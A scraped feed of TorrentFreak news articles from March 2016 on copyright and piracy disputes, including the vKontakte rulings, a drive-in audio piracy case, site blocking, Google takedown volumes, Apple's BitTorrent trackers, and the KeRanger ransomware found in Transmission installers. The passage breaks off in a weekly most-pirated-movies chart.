http://www.fullsongs.science<br>
http://www.kat.asia<br>
http://www.kickass.ac<br>
http://www.kickass.ag<br>
http://www.kickass.lv<br>
http://www.limetorrents.space<br>
http://www.mp3bear.tv<br>
http://www.mp3boo.cc<br>
http://www.mp3skull.ren<br>
http://www.mp3skull.us<br>
http://www.mp3skull.yoga<br>
http://www.stafaband.bid<br>
http://www.stafaband.online<br>
http://www.stafaband.uk<br>
http://www.thepiratebay.ae<br>
http://www.thepiratebay.al<br>
http://www.thepiratebay.bid<br>
http://www.thepiratebay.rs<br>
http://www.thepiratebay.tech<br>
http://www.torrentdownloads.to<br>
http://www.torrenthound.site<br>
http://www.torrentz.futbol<br>
http://www.vitorrentz.tv<br>
http://yatorrents.com</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118857
title: Universal & Warner Defeated in vKontakte Piracy Battles
uri: Universal-Warner-Defeated-in-vKontakte-Piracy-Battles
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/9wWPcYgCyoM/
content:
<p><a href="media/3e3f1f7f.vk.jpg" data-original-source="http://feed.torrentfreak.com/images/vk.jpg" rel="attachment wp-att-72276"><img src="media/2dca634d.vk.jpg" data-original-source="http://torrentfreak.com/images/vk.jpg" alt="vk" width="180" height="180" class="alignright size-full wp-image-72276" srcset="http://torrentfreak.com/images/vk-150x150.jpg 150w, http://torrentfreak.com/images/vk.jpg 180w" sizes="(max-width: 180px) 100vw, 180px"></a>Having run out of patience with the platform over Internet piracy, in 2014 Sony Music, Universal Music and Warner Music sued Russian social networking giant VKontakte.</p>
<p>Sony dropped out of the action during last summer after agreeing a confidential settlement with vKontakte but the Universal and Warner cases continued.</p>
<p>&#8220;VK’s music service, unlike others in Russia, is an unlicensed file-sharing service that is designed for copyright infringement on a large-scale,&#8221; the IFPI said at the time.</p>
<p>Last September both labels enjoyed a <a href="https://torrentfreak.com/russian-facebook-ordered-to-crack-down-on-piracy-150929/">significant victory</a> when the Saint Petersburg &#038; Leningradsky Region Arbitration Court found that although vKontakte could not be held liable for infringement, it was obliged to implement “effective” filtering or other technology to prevent infringement of the labels&#8217; rights.</p>
<p>In the Universal Music case the label had asked for 13 music tracks to be removed from vKontakte and compensation of around 15.6 million rubles ($212,900). Warner asked for the removal of 17 tracks and a compensation package worth 20.4 million rubles ($278,400).</p>
<p>This week, however, the celebrations were called off when the region&#8217;s Appeal Court issued judgments on March 2nd and 3rd overturning the earlier ruling which ordered vKontakte to implement anti-piracy measures. In a double blow, the Court also upheld the earlier decision that vKontakte is not liable for its users&#8217; piracy.</p>
<p>&#8220;These are disappointing judgments which are out of step with rulings both in Russia and around the world, and leave Russia as one of the very few significant music markets in the world that is dominated by a single unlicensed service,&#8221; IFPI Chief Executive Frances Moore said in a statement.</p>
<p>Speaking with local media, vKontakte spokesperson Evgeny Krasnikov said that the company had &#8220;nailed down&#8221; its position as a &#8220;bona fide information intermediary.&#8221;</p>
<p>IFPI says that the labels will take both decisions to appeal.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118863
title: Feds Bust Man For Pirating Movie Audio at Drive-In Theater
uri: Feds-Bust-Man-For-Pirating-Movie-Audio-at-Drive-In-Theater
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/zNXjNWRz0Lc/
content:
<p><img src="media/ae42d746.sextape.jpg" data-original-source="http://torrentfreak.com/images/sextape.jpg" alt="sextape" width="250" height="188" class="alignright size-full wp-image-118866">One of the upsides of drive-in cinemas is that people are free to chat inside their cars and enjoy a movie privately.</p>
<p>Pirates have a big plus as well, as drive-ins make it much easier to record high quality audio. For this reason, camcorded films are often a combination of indoor video and drive-in audio.</p>
<p>Generally speaking it is very hard to spot someone recording an audio stream in his or her car, but a <a href="http://www.dependabledrivein.com/">drive-in near Pittsburgh</a> managed to track one down with help from Hollywood. </p>
<p>The man, Brian Ridley, allegedly recorded audio of the movies “Sex Tape,” “Planes: Fire and Rescue,” and “The Purge” during the summer of 2014.</p>
<p>The 38-year-old man was caught after a tip from the MPAA who asked the theater owner to look out for his license plate, and call the local police if he did. </p>
<p>Following a careful investigation Ridley has recently been indicted (<a href="media/be7d48f2.sex-tape-audio.pdf" data-original-source="http://torrentfreak.com/images/sex-tape-audio.pdf">pdf</a>), with the Government describing him as part of a larger conspiracy to release pirated movies on the Internet.</p>
<p><center><strong>From the indictment</strong><br></br></center><center><img src="media/0c1eb6f3.movierecord.jpg" data-original-source="http://torrentfreak.com/images/movierecord.jpg" alt="movierecord" width="600" height="135" class="alignnone size-full wp-image-118869"></center></p>
<p>According to the indictment &#8220;the audio and video files would be sent over the Internet to a conspirator who would sync the audio and video files together,&#8221; after which, &#8220;the completed audio/video copies would be placed on the Internet for others to download.&#8221;</p>
<p>The other members of the conspiracy are not known, but it is likely that they are part of an established release group. </p>
<p>While Ridley supposedly recorded audio for multiple movies, he is only charged with unauthorized copying of the Cameron Diaz movie &#8220;Sex Tape.&#8221;</p>
<p>&#8220;Sex Tape&#8221; was not yet released at the time the audio was allegedly recorded. However, a pirated copy eventually appeared online at the end of July, after Ridley was caught. </p>
<p>During the arrest the authorities seized three SanDisk “Sansa” MP3 Recorders. These devices are typically connected to the drive-in&#8217;s audio feed, and presumably contained portions of the pirated audio. </p>
<p>According to court records Ridley has been released on bail and will be arraigned later this month. If found guilty, he faces a maximum prison sentence of three years for copyright infringement and five years for the conspiracy charge.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118734
title: RuTracker Could Sue to Get New Domain, But Prefers Negotiation
uri: RuTracker-Could-Sue-to-Get-New-Domain-But-Prefers-Negotiation
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/JusdmawTEgg/
content:
<p><a href="media/b1cb7277.rutracker1.jpg" data-original-source="http://feed.torrentfreak.com/images/rutracker1.jpg" rel="attachment wp-att-55533"><img src="media/a96f2ae8.rutracker1.jpg" data-original-source="http://torrentfreak.com/images/rutracker1.jpg" alt="rutracker" width="250" height="95" class="alignright size-full wp-image-55533"></a>As copyright holders try to slow the spread of copyrighted content, torrent and streaming sites are being blocked by ISPs across Europe and Russia at an alarming rate. </p>
<p>On the one hand this is an annoyance to site operators, who are having to adapt their operations in order to mitigate the effects of blockades. On the other, music and movie companies feel justified in taking any measures they can to protect their rights.</p>
<p>Somewhere in the middle lies the ordinary users who, in an effort to circumvent blockades, are ending up on copycat, clone and just plain scammy sites that are cynically cashing in on all the confusion. One site attempting to do something about this problem is Russian torrent giant RuTracker.org.</p>
<p>Blocked by local ISPs following escalating disputes with copyright holders, the site says that its users are falling foul to clone sites carrying out phishing and extortion-like attacks. RuTracker believes that if it obtained a recognizable URL ending in .RU, local users would be more reassured that they&#8217;re visiting the correct site.</p>
<p>To that end RuTracker.org has been trying to obtain RuTracker.ru, a domain currently owned by a rival torrent site.</p>
<p>&#8220;Blocks are not much for us to care about. Much more important for us is that users can accidentally fall on phishing sites that steal passwords,&#8221; an RuTracker representative <a href="http://izvestia.ru/news/605326#ixzz41lNJHfqN">told</a> Izvestia.</p>
<p>Unlike its much larger namesake, <a href="http://rutracker.ru/">RuTracker.ru</a> is not currently blocked by court order and since RuTracker.org really wants an .RU domain, RuTracker.ru is the natural choice. However, the site also has aspirations of keeping the price realistic and that appears to be a stumbling block.</p>
<p>Izvestia managed to track down RuTracker.ru owner Oleg Volkov who told the publication he isn&#8217;t happy with the price being offered.</p>
<p>&#8220;From 100,000 rubles, you can start a conversation. But I&#8217;m not eager to sell it,&#8221; he said.</p>
<p>Indeed, less than $1,400 seems like a giveaway price, especially for a site with as many visitors as RuTracker.org. However, another issue has the potential to further complicate matters.</p>
<p>RuTracker.org is owned by a company called DreamTorrent Corp. and in 2012 the outfit applied for two trademarks &#8211; RuTracker and RuTrackerorg. A year later the site acquired the rights to the names.</p>
<p>So, in theory at least, DreamTorrent could use its grip on its trademarks to attempt to gain control of RuTracker.ru by force. However, the site has said that it does not wish to go down that route and would prefer to negotiate a fair price instead.</p>
<p>But while the details are being thrashed out it seems that RuTracker.org has been experiencing yet more blocking problems, this time from an unexpected direction.</p>
<p>According to a post by an administrator on the site&#8217;s forum, RuTracker recently began receiving reports that the site was no longer accessible to users from outside Russia from countries including Ukraine, Belarus, Kazakhstan and Israel.</p>
<p>It transpired that RuTracker had engaged the services of an anti-DDoS company based in Russia, who had begun passing foreign traffic destined for the site through the Russian Federation. Since RuTracker is blocked by Russian ISPs, this foreign traffic <a href="https://geektimes.ru/post/271806/">also became blocked</a>.</p>
<p>The problem was eventually solved but it does show how blockades can overreach and cause unintended consequences, in this case a locally-focused block extending internationally.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118833
title: Hollywood’s Site Blocking Plans Require Net Neutrality Changes
uri: Hollywood-s-Site-Blocking-Plans-Require-Net-Neutrality-Changes
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/H8Yi0u2oRrQ/
content:
<p><img src="media/d809cb1d.throttle.jpg" data-original-source="https://torrentfreak.com/images/throttle.jpg" width="200" height="200" class="alignright">The Brazilian Civil Rights Framework for the Internet (Marco Civil da Internet) is legislation that governs the use of the Internet in Brazil. Under development since 2009 the Marco Civil aims to protect online privacy rights, net neutrality principles and other key issues. </p>
<p>The law was passed in April 2014 after being fast-tracked in the wake of the Snowden revelations. Last year the legislation entered its second stage with the Ministry of Justice announcing a public consultation process allowing stakeholders to contribute to the development of the law.</p>
<p>Of course, where legislation is available to be shaped Hollywood is rarely far behind and as a result the Motion Picture Association and its studio members quickly got involved. They believe that the Marco Civil’s net neutrality provisions present problems for rightsholders who need to be able to protect their content against online infringement.</p>
<p>Last year the MPA <a href="https://torrentfreak.com/hollywood-seeks-net-neutrality-exceptions-to-block-pirates-150413/">told</a> Justice Minister José Eduardo Cardozo that the legislation&#8217;s wording was too tight and exceptions were needed to allow for anti-piracy enforcement. This week the public consultation came to a close and it&#8217;s now clear that the stance of the MPA is shared by many other rightsholders in the audiovisual sector.</p>
<p>In a proposal submitted by the MPA, the Brazilian Association of Intellectual Property (ABPI), Brazilian Association of Independent Television Producers (ABPI-TV) and Brazilian Association of Audiovisual Works Production (APRO) and others, demands for site-blocking are front and center.</p>
<p>In common with other regions where site-blocking measures have been introduced, the MPA wants Brazil to order its Internet service providers to block &#8216;pirate&#8217; sites located outside the country, beyond Brazil&#8217;s jurisdiction. It&#8217;s expected that the existing legal system will deal with those hosted domestically.</p>
<p>&#8220;Although foreign [pirate site] hosts can not be forced to delete the illegal content from their servers, access to these can be hampered by technical measures implemented by Brazilian Internet service providers,&#8221; the proposal reads.</p>
<p>According to local <a href="http://blogs.estadao.com.br/link/associacoes-querem-que-operadoras-bloqueiem-sites-piratas-estrangeiros">media</a> this is the first time that cinema associations, large Brazilian producers and Hollywood studios have joined together under one banner.</p>
<p>&#8220;We can not accept that the Internet is a free area for lawlessness,&#8221; said Edson Vismona, president of the umbrella group National Forum Against Piracy and Illegality (<a href="http://www.forumcontrapirataria.org/web/entrevista/lista">FNCP</a>).</p>
<p>&#8220;Our mission is to set some milestones to show that illegality will not prosper. We have to respect all the principles of freedom of expression, but not actions that violate citizens&#8217; basic rights.&#8221;</p>
<p>The group says that if Brazil implements the required measures it will be in good company since countries including Argentina, Mexico, Chile, Colombia, the UK, Portugal and Spain already engaged in site blocking.</p>
<p>Of course, the great irony here is that while the MPA demands site blocking of Brazil, there is no site blocking taking place in the United States. Nevertheless, the MPA and its colleagues want a &#8220;clear provision for site blocking techniques&#8221; and exceptions written into the Marco Civil.</p>
<p>Only time will tell if they will get their way.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118614
title: Ahoy! Kanye West Now Has His Own Pirate Bay
uri: Ahoy-Kanye-West-Now-Has-His-Own-Pirate-Bay
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/sb4FCJbcxAQ/
content:
<p><img src="media/e8f1270b.kanyebaylogo.jpg" data-original-source="http://torrentfreak.com/images/kanyebaylogo.jpg" alt="kanyebaylogo" width="222" height="160" class="alignright size-full wp-image-118805"/>Last month Kanye West released his latest album The Life of Pablo exclusively on Tidal, triggering a piracy feast. </p>
<p>Millions of fans have <a href="https://torrentfreak.com/kanye-wests-the-life-of-pablo-piracy-160216/">grabbed a pirated copy</a> from unauthorized sites and services, including The Pirate Bay. Angered by mass-piracy Kanye West considered <a href="https://torrentfreak.com/kanye-west-declares-war-on-the-pirate-bay-160218/">taking legal action</a> against the notorious torrent site, but thus far nothing has happened. </p>
<p>Instead, Kanye was caught browsing a Pirate Bay related website earlier this week and from the looks of it <a href="https://torrentfreak.com/pirate-bay-offers-tech-support-to-pirating-kanye-west-160302/">he was pirating</a> a prominent piece of music software himself. </p>
<p>In a response, The Pirate Bay team offered their support, in case he ran into technical issues. In addition, they catered to his narcissistic tendencies by promoting the ego-boosting &#8220;<a href="https://kanyebay.com/">Kanye Bay</a>&#8221; proxy. </p>
<p>&#8220;Should Mr. West experience any issues accessing the official domains of the galaxy&#8217;s most resilient torrent site, I&#8217;d suggest he try this nifty little proxy,&#8221; TPB staffer Spud17 tells us. </p>
<p><center><strong>Kanye Bay&#8230;.</strong><br></br></center><center><img src="media/72948f9e.kanyebay.jpg" data-original-source="http://torrentfreak.com/images/kanyebay.jpg" alt="kanyebay" width="679" height="567" class="alignnone size-full wp-image-118806"></center></p>
<p>Aside from the aesthetic improvements, some words of wisdom and a direct link to pirated versions of Kanye&#8217;s music, the site acts as a regular Pirate Bay proxy. </p>
<p>TorrentFreak reached out to the operator of the unusual proxy who explained in detail how he came up with the idea. </p>
<p>&#8220;The other day, I came up with an equation that explains the way visionaries think as opposed to very calculated people,&#8221; Kanye Bay&#8217;s operator informs TF. </p>
<p>&#8220;If someone asked you, ‘What is 2 and 3?’ most people would say 5. If you put 2 and 3 in front of me, I’m gonna say, ‘Well, 2 plus 3 is 5. 2 times 3 is 6. 2 divided by 3 is this. 3 divided by 2 is that.’ And then come up with an average of all those things..,&#8221; he adds.</p>
<p>This visionary thinking eventually led to the creation of The Kanye Bay, which excels at serving torrents, compared to all other Pirate Bay proxies that ever existed. </p>
<p>&#8220;That is the thing people marvel at like, ‘That really was not what I was expecting’&#8230; Then I made KanyeBay.com and I was like, ‘Yeah. This sh*t is like 50 per cent more influential than any other proxy ever made’,&#8221; the operator says.</p>
<p>The Kanye Bay, like TPB, is all about sharing, not stealing. While Kanye West condemned The Pirate Bay earlier, he did not specifically object to people sharing his work. </p>
<p>This would also explain why Kanye West can threaten to sue The Pirate Bay while &#8216;using&#8217; it at the same time. And rightly so, according to The Kanye Bay operator, who would rather not kill someone.</p>
<p>&#8220;I believe that being selfish is vulgar. It&#8217;s like cursing. I think the world can be saved through sharing, because what is the most selfish thing someone can do? Kill someone. So, piracy is like the opposite of that.&#8221; </p>
<p>&#8220;The Bible was copied like a million times and nobody ever got hurt.&#8221;</p>
<p>Amen. Even Yeezus would have to agree with that. </p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118593
title: Google Asked to Remove 100,000 ‘Pirate Links’ Every Hour
uri: Google-Asked-to-Remove-100-000-Pirate-Links-Every-Hour
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/RR5BDudEtYM/
content:
<p><img src="media/3a6fa524.google-bay.jpg" data-original-source="http://torrentfreak.com/images/google-bay.jpg" alt="google-bay" width="200" height="177" class="alignright size-full wp-image-21875">In recent years copyright holders have overloaded Google with DMCA takedown notices, targeting links to pirated content. </p>
<p>These requests have increased dramatically over the years. In 2008, the search engine received <a href="http://torrentfreak.com/google-takedown-notices-surge-140325/">only a few dozen</a> takedown notices during the entire year, but today it processes two million per day on average.</p>
<p>Data gathered by TorrentFreak from Google&#8217;s Transparency Report shows that the number of links reported in DMCA notices has more than doubled compared to last year, and quadrupled in comparison to the year before. </p>
<p>March 2014 Google was asked to remove roughly six million links per week, growing to eight million in 2015 and a whopping 19 million last week. </p>
<p>As an illustration of the sheer volume, this means that Google is now being asked to remove well over 100,000 links to alleged copyright infringing material every hour.</p>
<p>The number of notices continues to increase at a rapid pace and at the current rate the search engine will have to process a billion reported links this year alone. This same milestone previously took well over a decade to reach.</p>
<p>The graph below illustrates this sharp rise in takedown notices.</p>
<p><center><img src="media/dd51303d.googlenewrecord.png" data-original-source="http://torrentfreak.com/images/googlenewrecord.png" alt="googlenewrecord" width="521" height="269" class="alignnone size-full wp-image-118881"></center></p>
<p>While not all takedown requests are accurate, the majority of the reported links are. As a result many popular pirate sites are now less visible in Google&#8217;s search results, since Google <a href="https://torrentfreak.com/googles-new-downranking-hits-pirate-sites-hard-141023/">downranks</a> sites for which it receives a high number of takedown requests.</p>
<p>In <a href="https://torrentfreak.com/google-opposes-whole-site-removal-of-pirate-domains-151021/">a submission</a> to the Intellectual Property Enforcement Coordinator a few months ago Google stated that the continued removal surge doesn&#8217;t influence its takedown speeds.</p>
<p>“We process more takedown notices, and faster, than any other search engine,” the search giant commented.</p>
<p>“We receive notices for a tiny fraction of everything we host and index, which nonetheless amounts to millions of copyright removal requests per week that are processed, on average, in under six hours.”</p>
<p>The company rejects broader actions, such as the removal of entire domain names, as this would prove counterproductive and lead to overbroad censorship.</p>
<p>Copyright holders, however, don’t share these concerns. Over the years groups such as the MPAA and RIAA have repeatedly argued that clearly infringing sites should be barred from Google’s index. In addition, they want Google to promote legal services.</p>
<p>While Google believes that the billion reported URLs are a sign that the DMCA takedown process is working properly, rightsholders see it as a signal of an unbeatable game of whack-a-mole.</p>
<p>As this stalemate continues, we can expect the number of reported pages to continue to rise in the future, adding millions of new URLs on a daily basis.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118712
title: Apple is Running BitTorrent Trackers in Cupertino
uri: Apple-is-Running-BitTorrent-Trackers-in-Cupertino
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/kOpILWJ1Rn4/
content:
<p><a href="media/3ec20135.apple-small.jpg" data-original-source="http://torrentfreak.com/images/apple-small.jpg" rel="attachment wp-att-118783"><img src="media/3ec20135.apple-small.jpg" data-original-source="http://torrentfreak.com/images/apple-small.jpg" alt="apple-small" width="177" height="174" class="alignright size-full wp-image-118783"></a>Although not absolutely essential for making BitTorrent work these days, torrent trackers are always handy things to have. A bit like a policeman directing traffic, they ensure that BitTorrent clients can find each other quickly in order to share content.</p>
<p>Torrent indexes such as The Pirate Bay and KickassTorrents (that don&#8217;t have a tracker) make the headlines regularly but it&#8217;s relatively rare for standalone BitTorrent trackers to make the news. They&#8217;re generally considered a bit of a techie phenomenon and to the casual torrent user they&#8217;re a silent benefit.</p>
<p>Nevertheless, trackers are interesting. For example, private torrent communities such as What.cd would have a big problem existing without one, since relying on magnet links would open the site&#8217;s torrents up to the public and destroy their privacy. In this scenario, trackers are great tools for putting What.cd&#8217;s users in touch with each other, relatively securely.</p>
<p>But while trackers are most closely associated with torrent sites, other organizations use them too. Indeed, after doing some digging around on &#8220;Internet of Things&#8221; search engine <a href="https://www.shodan.io/">Shodan</a> this week we were surprised to discover Apple running tracker services on around three dozen IP addresses located at its headquarters in Cupertino.</p>
<p><Center><a href="media/66a4216f.apple-tracker1.png" data-original-source="http://torrentfreak.com/images/apple-tracker1.png" rel="attachment wp-att-118715"><img src="media/66a4216f.apple-tracker1.png" data-original-source="http://torrentfreak.com/images/apple-tracker1.png" alt="apple-tracker1" width="650" height="600" class="aligncenter size-full wp-image-118715"></a></center></p>
<p>On the most common tracker port 6969, active trackers can be found on several IP addresses allocated to Apple including 17.17.17.102, 17.17.17.108, 17.17.17.30, 17.17.17.59, 17.17.17.8, 17.17.17.15, 17.17.17.133, 17.17.17.110, 17.17.17.138, 17.17.17.248, 17.17.17.56 and 17.17.17.248. </p>
<p>Trackers services can also be found running on (HTTP) port 80 on IP addresses including 17.17.17.220, 17.17.17.41, 17.17.17.44, 17.17.17.170, 17.17.17.58, 17.17.17.21, 17.17.17.104, 17.17.17.102, 17.17.17.133, 17.17.17.59, 17.17.17.108, 17.17.17.27, 17.17.17.5, 17.17.17.15, 17.17.17.24, 17.17.17.243, 17.17.17.68 and 17.17.17.41.</p>
<p>According to Shodan, IP address 17.17.17.102 reports trackers running on port 6969 and port 80.</p>
<p><center><a href="media/de91bf55.apple-tracker2.png" data-original-source="http://torrentfreak.com/images/apple-tracker2.png" rel="attachment wp-att-118717"><img src="media/de91bf55.apple-tracker2.png" data-original-source="http://torrentfreak.com/images/apple-tracker2.png" alt="apple-tracker2" width="650" height="477" class="aligncenter size-full wp-image-118717"></a></center></p>
<p>TorrentFreak contacted Apple to learn more about the purpose of these trackers but at the time of publication we hadn&#8217;t received a response. However, we did manage to reach Shodan CEO John Matherly who told us that his company carries out several checks beyond a port being open to ensure its results are accurate.</p>
<p>&#8220;To determine whether a computer is running a BitTorrent tracker Shodan sends a connection request with a transaction ID of 0x34925,&#8221; Matherly told TF.</p>
<p>&#8220;If the host responds to the connection request with a valid BitTorrent tracker response (i.e. with an action, transaction id and connection id) AND the transaction ID matches what the Shodan crawler originally sent (0x34925) then it is considered a BitTorrent tracker.&#8221; </p>
<p>The Shodan CEO couldn&#8217;t shine any additional light on Apple&#8217;s need for BitTorrent trackers but he joined us in the theory that the company probably uses them for internal distribution, possibly like Twitter and Facebook do already.</p>
<p>In 2010, Twitter announced that BitTorrent made server deployment <a href="https://torrentfreak.com/bittorrent-makes-twitters-server-deployment-75-faster-100716/">75 times faster than before</a>.</p>
<p>“Using the file-sharing protocol, we launched a side-project called Murder and after a few days (and especially nights) of nervous full-site tinkering, it turned a 40 minute deploy process into one that lasted just 12 seconds,” an engineer <a href="https://torrentfreak.com/bittorrent-makes-twitters-server-deployment-75-faster-100716/">reported</a> at the time.</p>
<p>Facebook also uses BitTorrent to quickly shift large quantities of data and back in 2010 the company <a href="https://torrentfreak.com/facebook-uses-bittorrent-and-they-love-it-100625/">raved</a> over its benefits.</p>
<p>&#8220;BitTorrent is fantastic for this, it’s really great,” the company said. “It’s ‘superduper’ fast and it allows us to alleviate a lot of scaling concerns we’ve had in the past, where it took forever to get code to the webservers before you could even boot it up and run it.”</p>
<p>A TF source who prefers to remain anonymous says that after running the Apple IP addresses against an eight million torrent database, none of them produced a match, something which boosts the &#8216;internal use&#8217; theory. That said, in an ideal world internal processes shouldn&#8217;t really be exposed to the public, so it remains unclear why Shodan is reporting public facing BitTorrent trackers at Cupertino.</p>
<p>Finally, it&#8217;s interesting to take the existence of these trackers and place that alongside Apple&#8217;s <a href="https://torrentfreak.com/apple-bans-bittorrent-software-090511/">aggressive stance</a> towards the millions of customers who would also like to use torrent software on Apple devices. On several occasions the company has removed torrent applications from its App Store yet the company seems happy to benefit from the technology itself.</p>
<p>If Apple responds to our request for comment, we&#8217;ll be sure to update this article.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118923
title: BitTorrent Client Transmission Infected With First Mac Ransomware
uri: BitTorrent-Client-Transmission-Infected-With-First-Mac-Ransomware
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/OzFSh0dDcYk/
content:
<p><img src="media/0dfd6159.transmission-2.jpg" data-original-source="http://torrentfreak.com/images/transmission-2.jpg" alt="transmission" width="222" height="222" class="alignright size-full wp-image-118927">With millions of active users, Transmission is one of the most used BitTorrent clients around, particularly for Mac users.</p>
<p>The application has been around for more than a decade and has a great reputation. However, this weekend several users started to report malware problems in the <a href="https://forum.transmissionbt.com/viewtopic.php?f=4&#038;t=17834">Transmission forums.</a></p>
<p>The malware in question was identified as &#8220;OSX.KeRanger.A&#8221; and several users reported that it&#8217;s linked to Transmission 2.90. </p>
<p>Today, their suspicions were confirmed by researchers from Palo Alto Networks who <a href="http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/">published</a> a warning and an overview of the technical details on their website.</p>
<p>&#8220;Attackers infected two installers of Transmission version 2.90 with KeRanger on the morning of March 4. When we identified the issue, the infected DMG files were still available for downloading from the Transmission site,&#8221; they write.</p>
<p>KeRanger is so-called ransomware which effectively encrypts the victim&#8217;s computer. The attackers then promise to decrypt it if a ransom is paid, amounting to one Bitcoin in this case.</p>
<p><center><strong><strong>Ransom request</strong> (image credit <a href="http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/">Palo Alto Networks</a>)</strong><br></br></center><center><img src="media/bc6bc64b.ransomreq.png" data-original-source="http://torrentfreak.com/images/ransomreq.png" alt="ransomreq" width="500" height="236" class="alignnone size-full wp-image-118940"></center></p>
<p>&#8220;The malware then begins encrypting certain types of document and data files on the system. After completing the encryption process, KeRanger demands that victims pay one bitcoin (about $400) to a specific address to retrieve their files,&#8221; the researchers explain. </p>
<p>&#8220;Additionally, KeRanger appears to still be under active development and it seems the malware is also attempting to encrypt Time Machine backup files to prevent victims from recovering their back-up data.&#8221;</p>
<p>Apple was also informed about the issue and has since revoked the abused certificate and updated its XProtect antivirus signature. </p>
<p>As Ars Technica <a href="http://arstechnica.com/security/2016/03/first-mac-targeting-ransomware-hits-transmission-users-researchers-say/">points out</a>, the &#8220;KeRanger&#8221; ransomware is notable as it&#8217;s the first Mac-targeted ransomware that&#8217;s been reported in the wild.</p>
<p>The Transmission team, meanwhile, has added a warning message to <a href="https://www.transmissionbt.com/">their site</a>, alerting users to upgrade their clients right away. </p>
<p>&#8220;Everyone running 2.90 on OS X should immediately upgrade to 2.92, as they may have downloaded a malware-infected file. This new version will make sure that the &#8216;OSX.KeRanger.A&#8217; ransomware is correctly removed from you computer,&#8221; the warning reads.</p>
<p><center><strong>Transmission warning</strong><br></br></center><center><img src="media/c655100f.transmission-ransomware.png" data-original-source="http://torrentfreak.com/images/transmission-ransomware.png" alt="transmission-ransomware" width="566" height="119" class="alignnone size-full wp-image-118930"></center></p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118910
title: Top 10 Most Pirated Movies of The Week – 03/07/16
uri: Top-10-Most-Pirated-Movies-of-The-Week-03-07-16
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/FEd4LMb8kZQ/
content:
<p><img src="media/2061da5f.kungfu.jpg" data-original-source="http://torrentfreak.com/images/kungfu.jpg" alt="kungfu" width="300" height="179" class="alignright size-full wp-image-118913">This week we have two newcomers in our chart. </p>
<p>Kung Fu Panda 3 is the most downloaded movie.</p>
<p>The data for our weekly download chart is estimated by TorrentFreak, and is for informational and educational reference only. All the movies in the list are BD/DVDrips unless stated otherwise.</p>
<p><a href="http://TorrentFreak.com/category/dvdrip/feed/"><strong>RSS feed</strong></a> for the weekly movie download chart.</p>
<table class="css hover">
<thead>
<tr>
<th width="12%"><strong>Ranking</strong></th>
<th width="15%"><strong>(<a href="https://torrentfreak.com/top-10-pirated-movies-week-022916/">last week</a>)</strong></th>
<th><strong>Movie</strong></th>
<th width="18%"><strong>IMDb Rating / Trailer</strong></th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="4">torrentfreak.com</td>
</tr>
</tfoot>
<tbody>
<tr>
<td><strong>1</strong></td>
<td>(2)</td>
<td><a href="http://www.rottentomatoes.com/m/kung_fu_panda_3/">Kung Fu Panda 3</a> (Webrip)</td>
<td><a href="http://www.imdb.com/title/tt2267968/">8.0</a> / <a href="https://www.youtube.com/watch?v=fGPPfZIvtCw">trailer</a></td>
<tr>
<td><strong>2</strong></td>
<td>(1)</td>
